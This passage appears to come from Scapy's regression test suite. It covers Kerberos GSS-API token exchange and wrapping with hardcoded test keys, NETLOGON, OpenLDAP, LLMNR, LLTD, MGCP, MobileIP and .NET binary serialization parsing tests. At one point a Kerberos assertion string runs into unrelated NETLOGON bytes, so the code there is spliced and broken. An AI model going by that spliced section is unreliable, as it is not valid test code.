\xf7\xb4\xc8\x9b\xf9\xa4\x1f\xe9\x96\r\x11*\xccs\xf6\xbde\'\xdf\xe7\x07\x00\xa3\xd3\xc2\xe7+K\xa6p]\xfc\x04\x0f\xd5o\x9d|\xd6\x0bX\x0e\xbe\xce\xc2\xbf\xb2@\xba\xaca\x96\x90\xdb\xd90\x1e\xd9\x8c\xac\x03|\xfd\xff\x8f\xf9j\xc9\x83X\x96\x9f52\xf9\xc6\xad\xc0v\xd16\xa0\xef\x96\xeb\xdd\xef)=\xf8y\xbbB\xad\xfb\xf7g\x044\xf3@\xadg>\x03\x03\xae\x18n\x1aQ\r\x7fP\xdb\xfe\xe9\xeb\xab2\x9dws9\xf5\xcb\x94\xab\xc1\x9e\xbd\x08\x0f\xfcx\x18\x1b\xf8\x1f\xf2\'\x18-\xe4"\x93vuTf3\xbdj\xb6\x88%\x8a\x94\xd12\xfbY\x0f\x81R\xd3\xf1\x9b\xd5Z\x1f3o\xb7\xc3\x82\x14\t\x87\xac#\x89\x13M\x803\x88/\x92==S$\xa3\xe9\xf5C{\xd7\x0f\t^k\xb0\x0e\xe6\x8d\x8f!\x91+\x19\xb2y$\xc6\x1bN;\xfehA\x1f\x9f"\r\xe8\xda\xce\x00\xe7g\xb6b17\x06s\rM\xc8S\x9b0\x9f\xc7^l\xa4\xca\xe4p\xcd\xf1,\xc3\xcf\xb1\x91Hn>^\xb8\xc8\x07#\xb2\xb0G;\x07\xe4\xeaM8T\x87\xdd0=\xf2\xdb\x8d1\xf8\xc9\rS\xc4\xad\xcf9\xadx\xcfl\x85\xfb\xb8{LN\xe51\xa4,!3\xdf+\x03b\x13#t\xdf\x99T \xe4\xb2\xa6\xd1\xe1\x9dxy\xd5\x18e-Q\x01\xa3\x16\x96+\'\xb3\x88L\xb6}\x07W/\x96\xb9f\x8c\xa4,\xcas\x11\xa7\x15*\xc7\xc6\xd4\x92\x00\x91\x92\xfaJpy\x89\xe4;*\x10\xf1\x9eS^|\xf8\xaf\xda\xf6<\xe9\xa2\xa8\\\xe1\xbd\x17\xd8\x1c\xfev\xd2\xceWY\xa7\xfd\xbe\xffo\xb2y\xb8b\x0b\xc2\xc5\x18;$\xbe\x83\x1c~\xe1W\x11O\'\x00\xda!\x0b6\xed\xb7\xbd\xa7\xd9\x1a2\xf7\x94\x0b\xefC\x1cvW\x1c\xd4D\x99\xf7y\xccN\xbe\x82\x9f\xb3N\xea\xa1\xe4B$\rYb\xbd\xbc\xbc\x16\xc9b\x97KTn\x9c\xee8\r\xdaI\xf6Q\xac\xc5\xc5\x8a\xca\xe4\xad\x06\xd5~K\x91\xd8\xc5Use\xe8\xdd\xda~\xe9U\tc\xd7\rOV\xb4O\xc5\xa2n)\xb3l\xb2\x1d\x11"\x18%\xb5\xa2!|\xb1\xf1EM4\xd9J\x85\\\xb8`\xf2\xfeCh\x1e=0.~\x12Bs\xdd\x18\xb0O\xdd\xf6`\xb8\x85\x8e\x1ex\xd0"\xcc\x03\xf4g\xf3\xcf\x1an]\xf5;\xb81yEB\xb1\xd0\x8e8\xd3\xbf\xb0\xbf.[\xa6\xf7Z\x0fw\xd5k\xf2\x92K\x14O\xff<\x87\xeczW\xbf\xf3E\xee\x8aD\x96gm8\xc9E<8\xe6E!\xdb-\xe6\xd6E*\xa8\xf3\xda\x16u\x13N\x8d\x90\xcb\xb0\xd2t\xcea\x89V?\xd9\xa5nV\xa8\x00f\x1ex{\x089Pb05\xdd\xee\xb2\xfb\x84\xf6\xfb%\x07\xf2\xc1W\xe7N\x81\xa8\x19p\xe1\x14u\xce\x92n9:U\xb0kw\xc4D\xdb\xd26\x88\xe8\xa7|\x7f03xt\xfe\xf7\x87\xa1\x87\xfc\xaf\xd7:ZH7\xc8\xe3\xe6\x07\x120\x85\x97\xffr\xea.\xda\xe6\x9c\x94\x02\xadz\xe8\x1a\xbb>\x91\x00\xf0\xc8{\x99\xb2VBF\xbdV\xaf\x8em\x0e\xcf)(\xe5\x15\x12\x18\xf7\xe6\'\xc5e\xe1U@foO|\x0e\x93|-\x0e\x84x/\xcb\x1bS^YolN\n\xed|\x1d5\x0e\x16\x9d\x04_.\xaa\xa4\xbb/\x94\xcd\x14\x95v\xf85\xe5\xee\xcbD\x18g}\x04D\xe5\x1f\xaf\xcb\xed*\xfa\xc5\x0b\x1d2\x0b\xc2#\xd2b6\x01\xae\xe6\xdfj6:$)K\xfb;\x00\xf2f\x8d\xfc@N\x9f\xa1\x7f\xe96\xe6b\x07V\xa6\x91\x8f}\xe2\xde4?8\x0f\xab\x83\xfd\xe9\x11\x12K\xe5\x08\xa4\x82\x01\\0\x82\x01X\xa0\x03\x02\x01\x12\xa2\x82\x01O\x04\x82\x01K\\>\t\xe4\x1d8,a(\x7f\x1e\xd2\x8dHH\x9c\xa3\x03?&\xb9\xf4\xba\xef\xcf\xcf\xb6(8\x91\x0f\xa3lq\xc6 f&Ou\xd8Bk\xe84s\xf1\xec\xf6\x97wY\xc6Un;\xf5\xdeh\xb9J\xd6\xaf\xf4r\x00\x80\x17\x8d\xc4p\x81\xac\x89\xf1\xf6\x98\xef\x1f\xb3\xe5\x91}\xf5m\x1a\xbd\x08\x1d\x0217W0\x81\xdd\x10O\xda\x97\xf1qo\xa9\xdcT\xe4_\xfaxt\xdf\xcb*\x95L\xd3\x85\xdf\xf04\x14\xb3\x14\x9c1cU\xe5\x18H\xf3^\x86\xd4\xd2\xe39-Y\x0b\x80\x92\xf0\x08\x03\xc5\x99{;z\xc0\xdd\x08\x1d\x94\xd4\xa4\xda,9\x00\xa7\x87I\x01\x9b\xb7\xf0\x01ITC\xcdJr\xd7+\x95\xadI\xf0\x14\xfc7t\xa2\x9a\xa7\xe0mA\x8c\'\xf0\x9c\xbc\x97\xaa\xd6\xec\x82.\xfa^\x08\xa7\x1b\xef\xa8\x979\x93\x8f\x80.i\x05\xf3jj\xef2\xf4B`Q\xed_\xde\x00\x14\xee\xae \xd1\xbc6\x8b;\xf19\x1fikM\xadf\x15\xc9\xb7G\xf6\xa9,\x9cJ\xe9e\xa8\xcc\x8e.b\x86\x88\xb3!p\x04\xe6\x03/\x17\xae\x03\x13:\xe4\xedG%\x98$\x9d\x13<\x92\x16\x80:\x94\x8f\x87jb\xa6.\xc2\n\xbe\xdb\x9d3\x8d\xf5\xb2\\\x8b\xd6\xcb\xc0\xa6%\xc7\xb1\xe3m\x86\x1fsXj\x19\xad\xe7\x06\xfc\x0b\xf1\xcf' = GSS_Accept_sec_context (KRB_AP_REQ->KRB_AP_REP) - DCE_STYLE with KrbRandomPatcher(): srvcontext, tok, negState = server.GSS_Accept_sec_context(None, tok) assert negState == 1 assert isinstance(tok, KRB_AP_REP) ap_rep = KRB_AP_REP(bytes(tok)) apreppart = ap_rep.encPart.decrypt(client.KEY) assert apreppart.ctime == "20240305165255Z" assert apreppart.subkey.keyvalue == b"0000000000000000" assert apreppart.subkey.keytype == 17 # Hardcode (yes this will probably require updating this test) bytes(tok) assert bytes(tok) == b'on0l\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x0f\xa2`0^\xa0\x03\x02\x01\x12\xa2W\x04UaS\xeck\xcc\xad~\xfa^\x8d\xca\xbb\xc5\xd2/\xfd\xd3\xc3\xd9\xadN`\xd2;\xd7{\xb7\xf4p.\xa9\x9a\xb1}D\xc6|_t\n\r"M\xcd\xe2\t\xf0Ri\xc7\xcf\xb5\xefr9\xf0`iS7N\x06qKP\x06\xde\xc4\x18\xd5_\xcb\x0ct\x03k\xbc\xb9\x1adT\x03\xc1\x8bM' = GSS_Init_sec_context (SPNEGO_negToken: KRB_AP_REP->KRB_AP_REP) - DCE_STYLE with KrbRandomPatcher(): clicontext, tok, negState = client.GSS_Init_sec_context(clicontext, tok) assert negState == 0 assert isinstance(tok, KRB_AP_REP) ap_rep = KRB_AP_REP(bytes(tok)) apreppart = ap_rep.encPart.decrypt(client.KEY) assert apreppart.ctime == "20240305165255Z" # Hardcode (yes this will probably require updating this test) bytes(tok) assert bytes(tok) == b'oQ0O\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x0f\xa2C0A\xa0\x03\x02\x01\x12\xa2:\x048aS\xeck\xcc\xad~\xfa^\x8d\xca\xbb\xc5\xd2/\xfd.e\xec\xef\xce\x91\x1d\x99\xd8\xcd2\x01\x0fA\xe4\xde\x12\xf4\xbc>\xe1\x98T\xc4\x82\xb5w\x1arZb\xdb\x9b-+\xf3\xfa\x0b\xdeD' = GSS_Accept_sec_context (KRB_AP_REP->OK) - DCE_STYLE with KrbRandomPatcher(): srvcontext, tok, negState = server.GSS_Accept_sec_context(srvcontext, tok) assert negState == 0 assert tok is None = GSS_Wrap/GSS_Unwrap: client sends wrapped payload without confidentiality data = b"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE" sig = client.GSS_Wrap( clicontext, data, conf_req_flag=False, ) assert sig.TOK_ID == b"\x05\x04" assert sig.root.Flags == 4 assert sig.root.EC == 12 assert sig.root.RRC == 12 assert bytes(sig) == b'\x05\x04\x04\xff\x00\x0c\x00\x0c\x00\x00\x00\x00@\x00\x00\x00\x8f\x0c\xab\x90h\xc8\xdf1\x078\x03\x0ctestAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE' ddata = server.GSS_Unwrap( srvcontext, sig, ) assert ddata == data = GSS_Wrap/GSS_Unwrap: server answers back without confidentiality data = b"testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE" sig = server.GSS_Wrap( srvcontext, data, conf_req_flag=False, ) assert sig.TOK_ID == b"\x05\x04" assert sig.root.Flags == 5 assert sig.root.EC == 12 assert sig.root.RRC == 12 bytes(sig) assert bytes(sig) == b"\x05\x04\x05\xff\x00\x0c\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00~\xd8\x08\x89K'\xa0\x01\xda\x7f\xff\xd3testAAAAAAAAAABBBBBBBBBCCCCCCCCCDDDDDDDDDEEEEEEEEE" ddata = client.GSS_Unwrap( clicontext, sig, ) assert ddata == data = GSS_WrapEx/GSS_UnwrapEx: client sends wrapped payload with confidentiality from unittest import mock from scapy.libs.rfc3961 import Key, EncryptionType # Data dcerpc_hdr = bytes.fromhex("0500000310000000fc004c00030000008c00000001000c00") dcerpc_data = bytes.fromhex("000000001bc104a40f046e43bd2a4b2722092807010000000100000000000000e40400000904000000000000010000000600000001000000000002000000000001000000000000000000020000000000120000000000000000000000000000001200000000000000440043003d0063006f006e0074006f0073006f002c00440043003d0063006f006d00000000000000") dcerpc_sectrailer = bytes.fromhex("0906040000000000") Confounder = bytes.fromhex("aeb63f1db8e2cb61548867a0e4074e85") k = Key(EncryptionType.AES256_CTS_HMAC_SHA1_96, key=bytes.fromhex("613f2dfabd35d17d86b00cf1001ce9458bf379c1d3921bbfdcd2de8782bec540")) SeqNum = 0x60298ed4 # Prepare context clicontext = KerberosSSP.CONTEXT(IsAcceptor=False) srvcontext = KerberosSSP.CONTEXT(IsAcceptor=True) clicontext.KrbSessionKey = srvcontext.KrbSessionKey = k clicontext.SendSeqNum = srvcontext.RecvSeqNum = SeqNum clicontext.flags = srvcontext.flags = ( GSS_C_FLAGS.GSS_C_DCE_STYLE | GSS_C_FLAGS.GSS_C_REPLAY_FLAG | GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG | GSS_C_FLAGS.GSS_C_INTEG_FLAG | GSS_C_FLAGS.GSS_C_CONF_FLAG ) client = server = KerberosSSP() # Test with mock.patch('scapy.layers.kerberos.os.urandom', side_effect=lambda x: Confounder): _msgs, sig = client.GSS_WrapEx( clicontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=dcerpc_hdr), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=dcerpc_data), SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=dcerpc_sectrailer), ], ) assert _msgs[0].data == dcerpc_hdr assert _msgs[1].data == b'|\xdf\xf8\xe5lS#\xe9\x9c\x15\xb4\xad\x06\xa8\xb9\x01\xd2\x13\xe6qLL\xd1\x82:v\xf2\xb1B\xc9u \xc5\xc88\xce\x91\xed*\x9c+v,W\x97\xde\xaan\xb8\x80\x9bd\xedW\x1aot\xa1\xb8\xbdp\xc0\xee\xe5\xb0\xa4\xce\x15{OA\x08\xee#;w\tV\x0e3\x9el\x00\x8f\xbaM\x07[\x1f,&\x99\x92\x91tvh\xbf\xcf\xb6\xd1\xbaB\xe3\xc9\x943\xed\xf04\x92!\xbd`\x00\x05;\xfce18H\xcb\xd8\x1eTT\x18\xbe\xb4\xbc\x08X\x1b$\x96\x04\xc9\xc6\xf1$\xfc,\xc0' assert _msgs[2].data == dcerpc_sectrailer assert sig.TOK_ID == b"\x05\x04" assert sig.root.Flags == 6 assert sig.root.Filler == 0xFF assert sig.root.EC == 16 assert sig.root.RRC == 28 assert sig.root.SND_SEQ == SeqNum assert bytes(sig) == b'\x05\x04\x06\xff\x00\x10\x00\x1c\x00\x00\x00\x00`)\x8e\xd4\xf8\xb9\x99JO\xdeA\x9c+t\xbb\xe9>\xf0G\xd5\x9d\x9b\xca:\x10\xee\x1f\xe93\xc1*/`H\x89\xf4\xab\xd7E!\xd5<*ou\x94\xa3\t\xf1\x7f\xaa\xe9\x95}\xaa\xb7\x9f\xd4F\xfe\x9bt\xa1\x00' decrypted = server.GSS_UnwrapEx( srvcontext, _msgs, sig, )[1].data assert decrypted == dcerpc_data = GSS_WrapEx/GSS_UnwrapEx: server answers back confidentiality with KrbRandomPatcher(): _msgs, sig = server.GSS_WrapEx( srvcontext, [ SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=dcerpc_hdr), SSP.WRAP_MSG(conf_req_flag=True, sign=True, data=dcerpc_data), SSP.WRAP_MSG(conf_req_flag=False, sign=True, data=dcerpc_sectrailer), ], ) assert _msgs[0].data == dcerpc_hdr assert _msgs[1].data == b"\x9av\xf9 :e\x0f\xd8!\x1c\xc7\x076'a.NN\xcf\x0c\xec\x8c\x83\xb4\x9c'<%i\x17\xbe\xcc\x01 \x1d\x031\\Y\x92H\xe4\xd50W\x8e\xe0\xe85\xd8\xf5c[\x97Bl\x16\x12P\x03l\xdb\x99$\xef\x9a\x06\x85\x18\xcf\xc5\x91~\x88\xca\xb2D\xf8\xe5(+\xb30\r\xbf\xe8\xc7\x11\x18\xfa,&(\xc3l)c\x08%\xaf\x80\xe5u\xadw\x06\x15\xe8\xed\xfa\xb3\xe0\x1d\xb2\xdan\xcfb<\x01\x9d\xa6\xb4=W:Z\xb6\xbf\xe9\x1a\xc8g\x9d\x01\x87\x03DC1\xc0>d\x00\xa8\xc0}\xf3\x03\x00\x03\x00\x00\x00\xff\xff\xff\xff') assert pkt.NtVersion == 3 assert pkt.NullGuid == uuid.UUID('00000000-0000-0000-0000-000000000000') assert pkt.DnsForestName == b"domain.local." assert pkt.DnsDomainName == b"domain.local." assert pkt.DnsHostName == b"DC1.domain.local." assert pkt.Flags == 0x3f37d = Dissect NETLOGON_SAM_LOGON_RESPONSE_NT40 - V1 pkt = NETLOGON(b'\x13\x00\\\x00\\\x00D\x00C\x001\x00\x00\x00\x00\x00D\x00O\x00M\x00A\x00I\x00N\x00\x00\x00\x01\x00\x00\x00\xff\xff\xff\xff') assert pkt.NtVersion == 1 assert pkt.UnicodeLogonServer == r"\\DC1" assert pkt.UnicodeDomainName == "DOMAIN" ================================================ FILE: test/scapy/layers/ldapopenldap.uts ================================================ % Tests that need a local instance of OpenLDAP to run + Functional test against OpenLDAP ~ linux ci_only = (OpenLDAP) connect to server, bind cli = LDAP_Client() cli.connect("127.0.0.1") cli.bind(LDAP_BIND_MECHS.SIMPLE, simple_username="cn=admin,dc=scapy,dc=net", simple_password="Bonjour1") cli.close() = (OpenLDAP) connect to server, bind, search cli = LDAP_Client() cli.connect("127.0.0.1") cli.bind(LDAP_BIND_MECHS.SIMPLE, simple_username="cn=admin,dc=scapy,dc=net", simple_password="Bonjour1") res = cli.search("dc=scapy,dc=net", "(&(givenName=Another)(sn=Test))", scope=2) cli.close() assert res == { 'uid=another,ou=People,dc=scapy,dc=net': { 'objectClass': ['top', 'person', 'inetOrgPerson'], 'cn': ['Another Test'], 'uid': ['another'], 'sn': ['Test'], 'givenName': ['Another'], 'userPassword': ['testing'] } } = (OpenLDAP) connect to server using SSL ~ disabled # We need a version of OpenLDAP that is more recent. Let's wait. cli = LDAP_Client() cli.connect("127.0.0.1", use_ssl=True, no_check_certificate=True) cli.bind(LDAP_BIND_MECHS.SIMPLE, simple_username="cn=admin,dc=scapy,dc=net", simple_password="Bonjour1") cli.close() ================================================ FILE: test/scapy/layers/llmnr.uts ================================================ % LLMNR regression tests for Scapy ############ ############ + LLMNR protocol = Simple packet dissection pkt = Ether(b'\x11\x11\x11\x11\x11\x11\x99\x99\x99\x99\x99\x99\x08\x00E\x00\x00(\x00\x01\x00\x00@\x11:\xa4\xc0\xa8\x00w\x7f\x00\x00\x01\x14\xeb\x14\xeb\x00\x14\x95\xcf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert pkt.sport == 5355 assert pkt.dport == 5355 assert pkt[LLMNRQuery].opcode == 0 = Dissection with the "T"entative bit set and the "TrunCation" bit unset r = LLMNRResponse(b'\x87\xdf\x81\x00\x00\x01\x00\x01\x00\x00\x00\x00\x01C\x00\x00\x01\x00\x01\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x1e\x00\x04\xc0\xa8-\x15') assert r.tc == 0 and r.t == 1 = Packet build / dissection pkt = UDP(raw(UDP()/LLMNRResponse())) assert LLMNRResponse in pkt assert pkt.qr == 1 assert pkt.c == 0 assert pkt.tc == 0 assert pkt.t == 0 assert pkt.z == 0 assert pkt.rcode == 0 assert pkt.qdcount == 0 assert pkt.arcount == 0 assert pkt.nscount == 0 assert pkt.ancount == 0 = Answers - building a = UDP()/LLMNRResponse(id=12) b = UDP()/LLMNRQuery(id=12) assert a.answers(b) assert not b.answers(a) assert b.hashret() == b'\x00\x0c' = Answers - dissecting a = Ether(b'\xd0P\x99V\xdd\xf9\x14\x0cv\x8f\xfe(\x08\x00E\x00\x00(\x00\x01\x00\x00@\x11:\xa4\x7f\x00\x00\x01\xc0\xa8\x00w\x14\xeb\x14\xeb\x00\x14\x95\xcf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') b = Ether(b'\x14\x0cv\x8f\xfe(\xd0P\x99V\xdd\xf9\x08\x00E\x00\x00(\x00\x01\x00\x00@\x11:\xa4\xc0\xa8\x00w\x7f\x00\x00\x01\x14\xeb\x14\xeb\x00\x14\x15\xcf\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert b.answers(a) assert not a.answers(b) = Summary q = LLMNRQuery(b'\xd5\xd5\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07example\x00\x00\x01\x00\x01') assert q.mysummary()[0] == r"LLMNRQuery who has 'example.'" q = LLMNRQuery(b'Yy\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\x01\x00\x01') assert q.mysummary()[0] == r"LLMNRQuery who has '\xff.'" with no_debug_dissector(): q = LLMNRQuery(b'@@\x00\x1b\xed7\x96J\x00\x00\x00\x01\x00\x00') assert q.mysummary()[0] == r"LLMNRQuery [malformed]" r = LLMNRResponse(b'e\xcc\x80\x00\x00\x01\x00\x01\x00\x00\x00\x00\x07example\x00\x00\x01\x00\x01\x07example\x00\x00\x01\x00\x01\x00\x00\x00\x1e\x00\x04\xc0\x00\x02\x01') assert r.mysummary()[0] == r"LLMNRResponse 'example.' is at '192.0.2.1'" r = LLMNRResponse(b'\n\xe6\x80\x00\x00\x01\x00\x01\x00\x00\x00\x00\x01\xff\x00\x00\x1c\x00\x01\xc0\x0c\x00\x1c\x00\x01\x00\x00\x00\x1e\x00\x10\xfe\x80\x00\x00\x00\x00\x00\x00xu\x17\xff\xfe\xbc\xac\xcb') assert r.mysummary()[0] == r"LLMNRResponse '\xff.' is at 'fe80::7875:17ff:febc:accb'" with no_debug_dissector(): r = LLMNRResponse(b'\xd3<\x80\x00\x00\x01\x00\x01\x00\x00\x00\x00\x04H\x00\x00\x01\x00\x01\xc0\x0c\x00\x01\x00\x01\x00\x00\x00\x1e\x00\x04\xc0\xa88\x04') assert r.mysummary()[0] == r"LLMNRResponse [malformed]" ================================================ FILE: test/scapy/layers/lltd.uts ================================================ % LLTD regression tests for Scapy ############ ############ + LLTD protocol = Simple packet dissection pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x86\x14\xf0\xc7[.\x88\xd9\x01\x00\x00\x01\xff\xff\xff\xff\xff\xff\x86\x14\xf0\xc7[.\x00\x00\xfe\xe9[\xa9\xaf\xc1\x0bS[\xa9\xaf\xc1\x0bS\x01\x06}[G\x8f\xec.\x02\x04p\x00\x00\x00\x03\x04\x00\x00\x00\x06\x07\x04\xac\x19\x88\xe4\t\x02\x00l\n\x08\x00\x00\x00\x00\x00\x0fB@\x0c\x04\x00\x08=`\x0e\x00\x0f\x0eT\x00E\x00S\x00T\x00-\x00A\x00P\x00\x12\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x04\x00\x00\x00\x00\x15\x01\x02\x18\x00\x19\x02\x04\x00\x1a\x00\x00') assert pkt.dst == pkt.real_dst assert pkt.src == pkt.real_src assert pkt.current_mapper_address == pkt.apparent_mapper_address assert pkt.mac == '7d:5b:47:8f:ec:2e' assert pkt.hostname == "TEST-AP" assert isinstance(pkt[LLTDAttributeEOP].payload, NoPayload) = Packet build / dissection pkt = Ether(raw(Ether(dst=ETHER_BROADCAST, src=RandMAC()) / LLTD(tos=0, function=0))) assert LLTD in pkt assert pkt.dst == pkt.real_dst assert pkt.src == pkt.real_src assert pkt.tos == 0 assert pkt.function == 0 assert pkt.hashret()[2:] == b'\x00\x00' = Attribute build / dissection assert isinstance(LLTDAttribute(), LLTDAttribute) assert isinstance(LLTDAttribute(raw(LLTDAttribute())), LLTDAttribute) assert all(isinstance(LLTDAttribute(type=i), LLTDAttribute) for i in range(256)) assert all(isinstance(LLTDAttribute(raw(LLTDAttribute(type=i))), LLTDAttribute) for i in range(256)) = Large TLV m1, m2, seq = RandMAC()._fix(), RandMAC()._fix(), 123 preqbase = Ether(src=m1, dst=m2) / LLTD() / \ LLTDQueryLargeTlv(type="Detailed Icon Image") prespbase = Ether(src=m2, dst=m1) / LLTD() / \ LLTDQueryLargeTlvResp() plist = [] pkt = preqbase.copy() pkt.seq = seq plist.append(Ether(raw(pkt))) pkt = prespbase.copy() pkt.seq = seq pkt.flags = "M" pkt.value = "abcd" plist.append(Ether(raw(pkt))) pkt = preqbase.copy() pkt.seq = seq + 1 pkt.offset = 4 plist.append(Ether(raw(pkt))) pkt = prespbase.copy() pkt.seq = seq + 1 pkt.value = "efg" plist.append(Ether(raw(pkt))) builder = LargeTlvBuilder() builder.parse(plist) data = builder.get_data() assert len(data) == 1 key, value = data.popitem() assert key.endswith(' [Detailed Icon Image]') assert value == 'abcdefg' = Summary assert LLTDAttributeMachineName(b'\x0f\x04{\x00\n\x00').mysummary()[0] == r"Hostname: '{\n'" ================================================ FILE: test/scapy/layers/mgcp.uts ================================================ % MGCP regression tests for Scapy ############ ############ + MGCP tests = MGCP - build s = raw(IP(src="127.0.0.1")/UDP()/MGCP(endpoint="scapy@secdev.org", transaction_id="04523")) s == b'E\x00\x00I\x00\x01\x00\x00@\x11|\xa1\x7f\x00\x00\x01\x7f\x00\x00\x01\n\xa7\n\xa7\x005\xf8\xaeAUEP 04523 scapy@secdev.org MGCP 1.0 NCS 1.0\n' = MGCP - dissect pkt = Ether(b'\x1b\x81\xb8\xa8J5\xe3\xebn\x90q\xb8\x08\x00E\x00\x00E\x00\x01\x00\x00@\x11\xf7\xde\xc0\xa8\x00\xff\xc0\xa8\x00y\n\xa7\n\xa7\x001\x05\xb5AUEP 155 god@heaven.com MGCP 1.0 NCS 1.0\n') assert pkt[MGCP].endpoint == b'god@heaven.com' ================================================ FILE: test/scapy/layers/mobileip.uts ================================================ % Mobile IP regression tests for Scapy ############ ############ + MobileIP tests = MobileIP - build s = raw(IP(src="127.0.0.1")/UDP()/MobileIP()/MobileIPRRP(homeaddr='156.133.50.141', haaddr='95.83.86.216')) s == b'E\x00\x000\x00\x01\x00\x00@\x11|\xba\x7f\x00\x00\x01\x7f\x00\x00\x01\x01\xb2\x01\xb2\x00\x1cu]\x03\x00\x00\xb4\x9c\x852\x8d_SV\xd8\x00\x00\x00\x00\x00\x00\x00\x00' = MobileIP - dissect pkt = IP(s) assert pkt[MobileIP][MobileIPRRP].haaddr == '95.83.86.216' ================================================ FILE: test/scapy/layers/msnrtp.uts ================================================ % MS-NRTP tests + [MS-NRTP] = [MS-NRBF] parse .NET Binary Format from scapy.layers.ms_nrtp import * data = b'\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00\x0c\x02\x00\x00\x00NSystem.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\x05\x01\x00\x00\x00\x13System.Data.DataSet\n\x00\x00\x00\x16DataSet.RemotingFormat\x13DataSet.DataSetName\x11DataSet.Namespace\x0eDataSet.Prefix\x15DataSet.CaseSensitive\x12DataSet.LocaleLCID\x1aDataSet.EnforceConstraints\x1aDataSet.ExtendedProperties\x14DataSet.Tables.Count\x10DataSet.Tables_0\x04\x01\x01\x01\x00\x00\x00\x02\x00\x07\x1fSystem.Data.SerializationFormat\x02\x00\x00\x00\x01\x08\x01\x08\x02\x02\x00\x00\x00\x05\xfd\xff\xff\xff\x1fSystem.Data.SerializationFormat\x01\x00\x00\x00\x07value__\x00\x08\x02\x00\x00\x00\x01\x00\x00\x00\x06\x04\x00\x00\x00\x00\t\x04\x00\x00\x00\t\x04\x00\x00\x00\x00\t\x04\x00\x00\x00\n\x01\x00\x00\x00\t\x05\x00\x00\x00\x0f\x05\x00\x00\x00\x07\x00\x00\x00\x02TRIMMED\x0b' pkt = NRBF(data) assert len(pkt.records) == 5 assert isinstance(pkt.records[0], NRBFSerializationHeader) assert pkt.records[0].RootID == 1 assert pkt.records[0].HeaderId == -1 assert pkt.records[1].LibraryId == 2 assert pkt.records[1].LibraryName.String == b'System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089' assert pkt.records[2].ObjectId == 1 assert pkt.records[2].MemberCount == 10 assert len(pkt.records[2].MemberNames) == 10 assert pkt.records[2].MemberNames[9].String == b"DataSet.Tables_0" assert pkt.records[2].AdditionalInfos[0].Value.TypeName.String == b"System.Data.SerializationFormat" assert pkt.records[2].AdditionalInfos[1].Value == PrimitiveTypeEnum.Boolean assert pkt.records[2].AdditionalInfos[5].Value == PrimitiveTypeEnum.Byte assert pkt.records[2].Members[0].Members[0].Value == 1 assert isinstance(pkt.records[2].Members[1], NRBFBinaryObjectString) assert isinstance(pkt.records[2].Members[2], NRBFMemberReference) assert isinstance(pkt.records[2].Members[3], NRBFMemberReference) assert isinstance(pkt.records[2].Members[4], NRBFMemberPrimitiveUnTyped) assert isinstance(pkt.records[2].Members[7], NRBFObjectNull) assert isinstance(pkt.records[2].Members[9], NRBFMemberReference) assert pkt.records[2].Members[9].IdRef == 5 assert pkt.records[3].ObjectId == 5 assert pkt.records[3].Values == b"TRIMMED" assert isinstance(pkt.records[4], NRBFMessageEnd) = [MS-NRBF] build .NET Binary Format pkt = NRBF( records=[ NRBFSerializationHeader(HeaderId=-1), NRBFBinaryLibrary( LibraryId=2, LibraryName=NRBFLengthPrefixedString( String=b"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", ), ), NRBFClassWithMembersAndTypes( ObjectId=1, Name=NRBFLengthPrefixedString(String=b"System.Data.DataSet"), MemberCount=10, MemberNames=[ NRBFLengthPrefixedString(String=b"DataSet.RemotingFormat"), NRBFLengthPrefixedString(String=b"DataSet.DataSetName"), NRBFLengthPrefixedString(String=b"DataSet.Namespace"), NRBFLengthPrefixedString(String=b"DataSet.Prefix"), NRBFLengthPrefixedString(String=b"DataSet.CaseSensitive"), NRBFLengthPrefixedString(String=b"DataSet.LocaleLCID"), NRBFLengthPrefixedString(String=b"DataSet.EnforceConstraints"), NRBFLengthPrefixedString(String=b"DataSet.ExtendedProperties"), NRBFLengthPrefixedString(String=b"DataSet.Tables.Count"), NRBFLengthPrefixedString(String=b"DataSet.Tables_0"), ], BinaryTypeEnums=[ BinaryTypeEnum.Class, BinaryTypeEnum.String, BinaryTypeEnum.String, BinaryTypeEnum.String, BinaryTypeEnum.Primitive, BinaryTypeEnum.Primitive, BinaryTypeEnum.Primitive, BinaryTypeEnum.Object, BinaryTypeEnum.Primitive, BinaryTypeEnum.PrimitiveArray, ], AdditionalInfos=[ NRBFAdditionalInfo( bintype=BinaryTypeEnum.SystemClass, Value=NRBFClassTypeInfo( TypeName=NRBFLengthPrefixedString( String=b"System.Data.SerializationFormat" ), LibraryId=2, ) ), NRBFAdditionalInfo( bintype=BinaryTypeEnum.Primitive, Value=PrimitiveTypeEnum.Boolean, ), NRBFAdditionalInfo( bintype=BinaryTypeEnum.Primitive, Value=PrimitiveTypeEnum.Int32, ), NRBFAdditionalInfo( bintype=BinaryTypeEnum.Primitive, Value=PrimitiveTypeEnum.Boolean, ), NRBFAdditionalInfo( bintype=BinaryTypeEnum.Primitive, Value=PrimitiveTypeEnum.Int32, ), NRBFAdditionalInfo( bintype=BinaryTypeEnum.PrimitiveArray, Value=PrimitiveTypeEnum.Byte, ), ], LibraryId=2, Members=[ 